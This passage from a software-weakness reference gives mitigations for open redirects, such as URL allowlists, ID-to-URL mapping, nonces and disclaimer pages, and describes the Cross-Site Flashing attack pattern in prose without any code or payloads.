- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.